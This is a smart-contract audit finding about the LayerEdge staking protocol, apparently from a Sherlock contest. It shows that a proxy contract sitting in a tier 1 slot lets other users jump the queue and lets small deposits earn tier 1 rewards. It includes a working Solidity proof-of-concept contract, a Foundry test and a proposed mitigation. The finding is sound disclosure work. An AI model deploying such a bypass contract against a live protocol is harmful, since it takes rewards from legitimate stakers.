Mysterious Gingham Sardine

Medium

# Users could skip the line with a simple smart contract that sits in tier 1

### Summary

Because the tier system operates as a first come first serve system, a user could create a smart contract that occupies one of the tier 1 slots and stakes on other user's behalf. This "staking protocol on top of a staking protocol" would allow anyone to cut to the front of the line, and would bypass the entire premise of the protocol. This would also allow users who stake less than the minimum stake required to receive tier 1 rewards for their stake.

### Root Cause

The choice to allow early stakers to keep their spot in line so long as they maintain a balance higher than the minimum staking amount combined with the fact that there are no protections against smart contracts staking on someone else's behalf allow the queue to be bypassed. This exploitative behavior ruins the spirit of the staking protocol and disincentivizes anyone from staking legitimately in the pool so long as the proxy staker is in tier 1.

In _stake() and [_unstake()](https://github.com/sherlock-audit/2025-05-layeredge/blob/main/edgen-staking/src/stake/LayerEdgeStaking.sol#L740) there is no way for a user to get booted from his tier unless his balance dips below minimum stake, which allows this contract to park in a good spot forever, allowing an infinite number of users to cut the line.

### Internal Pre-conditions

No internal pre-conditions, a line cutting contract that joins the queue before a user will always be a more attractive choice to that user than joining the queue from the beginning.

### External Pre-conditions

No external preconditions.

### Attack Path

1. At attacker deploys a contract that can stake on a user's behalf
2. Because that contract now has a better spot in line than a new spot, users are incentivized to stake with the line cutter

### Impact

Anyone that uses such a contract can bypass the wait and earn higher rewards, cutting in line ahead of legitimate users. This also allows for users with small deposits to earn tier 1 staking rewards.

### PoC

Please paste the following contract at the very bottom of LayerEdgeStatingTest.t.sol. Please note that this is a simplified contract for the sake of demonstration, in production it would need rewards distribution logic.

```solidity
contract Bypasser {

    mapping(address => uint256) public balances;
    mapping(address => uint256) public pendingWithdrawals;
    address token;
    LayerEdgeStaking staking;

    constructor(address _token, address _staking) {
        token = _token;
        staking = LayerEdgeStaking(payable(_staking));
        IERC20(token).approve(address(staking), type(uint256).max);
    }

    function stake(uint256 amount) public {
        IERC20(token).transferFrom(msg.sender, address(this), amount);
        balances[msg.sender] += amount;
        staking.stake(amount);
    }

    function unstake(uint256 amount) public {
        staking.unstake(amount);
        balances[msg.sender] -= amount;
        pendingWithdrawals[msg.sender] += amount;
    }

    function completeUnstake(uint256 id) public {
        staking.completeUnstake(id);
    }

    function withdraw(uint256 amount) public {
        pendingWithdrawals[msg.sender] -= amount;
        IERC20(token).transfer(msg.sender, amount);
    }
}
```

Please place the actual test within the testing contract in the same file:

```solidity
function test_audit_bypass_queue() public {
    // NOTE this needs the bypasser contract to run

    // a very simple contract could save spots in the queue for anyone
    // and could allow very small deposits to be tier 1

    address attacker = makeAddr("attackerAttacker");
    vm.startPrank(admin);
    token.transfer(attacker, MIN_STAKE * 100);

    Bypasser bypasser = new Bypasser(address(token), address(staking));

    // make the initial stake - now the first spot in line is secured forever
    vm.startPrank(attacker);
    token.approve(address(bypasser), 1000000e18);
    bypasser.stake(MIN_STAKE);

    // set up stakers, new joiners should be at tier 3
    setupMultipleStakers(10);

    // a latecomer wants to join and can skip to the front of the line through this contract
    // even though he's late and his stake is small, he'll be tier 1 through the contract
    address latecomer = makeAddr("latecomer");
    vm.startPrank(admin);
    token.transfer(latecomer, MIN_STAKE / 3);
    vm.startPrank(latecomer);
    token.approve(address(bypasser), MIN_STAKE / 3);
    bypasser.stake(MIN_STAKE / 3);

    // he can unstake whenever
    bypasser.unstake(MIN_STAKE / 3);
    vm.warp(block.timestamp + 7 days + 1);
    bypasser.completeUnstake(0);
}
```

### Mitigation

This could be mitigated with a blacklist or by treating every new stake as its own position.